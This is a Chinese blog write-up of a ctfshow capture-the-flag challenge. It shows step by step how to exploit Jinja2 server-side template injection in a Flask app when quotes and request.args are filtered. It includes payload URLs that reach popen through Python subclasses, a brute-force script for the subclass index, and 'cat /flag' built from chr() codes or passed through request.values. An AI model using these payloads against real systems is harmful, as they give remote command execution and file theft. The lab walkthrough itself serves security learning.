SSTI模板注入-args、单双引号被过滤绕过(ctfshow web入门364)

SSTI模板注入args、单双引号被过滤绕过

绕过技巧

当单双引号被过滤时,我们使用()或者[]来获得我们所需要的类,并且我们是尝试使用传参的方式将我们的shell命令传进去执行,但是当args也被过滤的时候,我们就不能使用request.args.参数名 来进行传参了。

我这里的绕过方法有两种,一种是我们获得chr()这个python的内置函数,chr(ascii值)函数接收一个字符的ascii码值然后将该ascii码值所对应的字符返回,这时我们就可以使用chr(ascii值)得到我们想要的字符,然后将其进行拼接成我们想要的字符串或者shell命令。另一种方法是,既然args不能用,flask框架(python)获取参数的方法又不是只有request.args,此外flask框架获取参数的方法还有request.values.参数名,其中request.values既可接收get传参也可接收post传参。

实例引入-ctfshow web入门364

1、判断是否存在SSTI模板注入漏洞

首先输入参数值name={{7*7}}观察页面是否输出49?
在这里插入图片描述
页面输出49,说明该站点存在SSTI模板注入漏洞。

2、获得内置类所对应的类

由于单双引号被过滤了,我们这里使用[]来获取内置类所对应的类。

http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__}}

在这里插入图片描述

3、获得object基类

http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__.__base__}}

在这里插入图片描述

4、获得所有子类

http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()}}

在这里插入图片描述

5、获得含有可以执行shell命令方法的类

我们还是以获得含有popen方法的类为例,使用以下脚本代码跑出该类的索引值:

import requests

num = 0
for num in range(500):
    try:
        url = "http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__.popen}}"
        res = requests.get(url=url).text
        if 'popen' in res:
            print(num)
        num += 1
    except:
        num += 1

在这里插入图片描述
获得该类的索引值132。

6、获得可以执行shell命令的方法

http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen}}

在这里插入图片描述

7、执行shell命令获取flag

使用chr()拼接shell命令

我们可以使用以下代码获取得到chr()函数。

http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={%set char=config.__class__.__init__.__globals__.__builtins__.chr%}{%print char%}

在这里插入图片描述
得到chr()函数之后就可以拼接shell命令了。

http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={%set%20char=config.__class__.__init__.__globals__.__builtins__.chr%}{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)).read()}}

在这里插入图片描述
成功拿到flag。
其中,99 97 116 32 47 102 108 97 103 为"cat /flag"字符串每个字符的ascii码值。

使用request.values进行传参
http://02c95de6-580d-4a71-b794-619eaeb1768a.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.values.a).read()}}&a=cat /flag

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值